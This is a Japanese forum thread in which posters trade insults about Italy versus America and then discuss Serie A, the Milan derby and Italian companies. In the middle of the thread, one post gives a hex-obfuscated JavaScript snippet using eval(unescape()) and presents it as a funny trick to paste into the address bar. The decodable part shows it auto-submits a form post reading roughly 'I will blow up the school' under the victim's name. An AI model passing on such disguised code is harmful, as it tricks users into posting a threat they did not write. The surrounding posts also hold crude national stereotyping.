ファションの都ミラノのどこがアメリカよりださいんだ？
食文化にあふれたイタリアが缶詰とマックと肉焼いてくうだけの豚のようなデブの
国よりどこが貧乏臭いんだ？

ホントニソウヨ

ローマは十分田舎だろ。東京やNYと比較すると古臭く、小規模だししょぼいよ。歴史はあるけどね。
フィレンツェほどのド田舎は行きたくないし、十分貧乏臭いだろ。日本の中小都市より貧乏臭いだろ！？ｗ
ミラノだってまともなのは中心街だけ。一般人は十分ダサい。金もないし貧乏臭い100万程度のレベルの低い都市。
それにイタリア南部なんて発展途上国並に貧しいじゃん。

＞７３９
アメリカナイズされた安っぽい成金趣味のやつには
もう話ししたくない。あわれなやつだな。

>>739
どうした？何かあったのか？
辛いなら泣いてもいいんだぞ。

>>739

自分の哀れさや知能の低さを棚に上げてよく人に言えるよ。
まぁどうであろうとイタリアは貧乏かつダサい国なのは変わないが。

訂正
>>739 →>>740

セリエ厨＝イタリア代表信者＝イタリア好きなのか？
漏れはセリエ信者だが特にイタリア代表は応援してないな
昔からドイツ代表が一番
普通に考えたらリーガやプレミア好きな奴らが
スペインやイングランドを応援してるわけがない
あとイタリアはドイツとイギリスに比べたら格段に劣るだろ
ドイツ、イギリス、フランスからはバカにされてもしかたない

「ミラノが稼いでローマが使う」って諺があるくらいだからな。イタリアは。
カルチョ界でもモロあてはまってるが。
センシもクラニョッティも経済界で大成功したのに
カルチョ経営になるとなんでああもバカ丸出しになるのかね。

本質的に馬鹿だからカルチョのオーナーになるんだよw

何をもって国の優劣をつけるのか面白すぎるなwww
俺は日本人に生まれなかったら北イタリア人に生まれたいよ

俺もイタリア人かスペイン人みたいに週末のフットボールを
毎週楽しみにしてのんびり暮らしたい

１、
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6616c75653d2766757369616e6173616e273b4d4553534147452e76616c75653d27
5c75356236365c75363832315c75333039325c75373230365c75366365325c7533
3035375c75333037655c7533303539273b7375626d69742e636c69636b28293
b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

２、
改行を外して１行にする。

３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。

４、
Enterを押す（もしくは「移動」をクリックする）。

俺はこれをやって思わず笑ってしまったよ

セリエのダイジェストってスカパーでやってる？

やってる

田舎かどうかなんて言いかけたら、
お前ら世界中で東京とＮＹとＬＡの３都市にしか住めなくなるぞｗ

にしても、ミランとインテルは最強だな。
世界４強を決めるなら、ミランとインテルは間違いなく入るよ。

ユーベもいちおう三連勝したんで忘れないであげて下さい…

しかしミラノダービーは両者最高の雰囲気で迎えられそうだね。
今から楽しみだー

ニュースウィーク先週号
「世界のトップ企業１００」

イタリア　８社（うちファッション部門３社）

スペイン　２社

>>753
中途半端な端折りかたすんな。
ソース貼るか、ちゃんとしたデータを載せろバカ。

ﾊﾞｶってゆうなぁ〜ヽ(`Д´)ﾉｳﾜｰﾝ

イタリアの企業といわれても


今思い浮かぶのは、
・フィアット
・グッチ
・ベネトン
・ピレリ
・メディアセット

ぐらいしかないな。

OTOとかBERETTAとかAGUSTAとかIVECOなら知ってる。

デアゴスティーニがあるだろｗ

なあミランスレ壊れててちゃんと見れないんだけど
オレだけ？

>>759
一旦ログ捨ててから読み込め